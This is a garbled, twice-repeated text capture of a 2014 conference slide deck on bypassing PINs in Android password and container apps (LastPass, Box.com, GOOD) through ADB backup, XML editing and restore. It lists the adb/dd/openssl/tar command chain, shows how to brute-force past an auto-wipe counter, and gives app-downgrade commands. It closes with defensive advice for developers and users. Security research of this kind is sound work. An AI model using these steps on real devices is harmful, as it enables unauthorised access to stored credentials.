  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 73: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 74: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
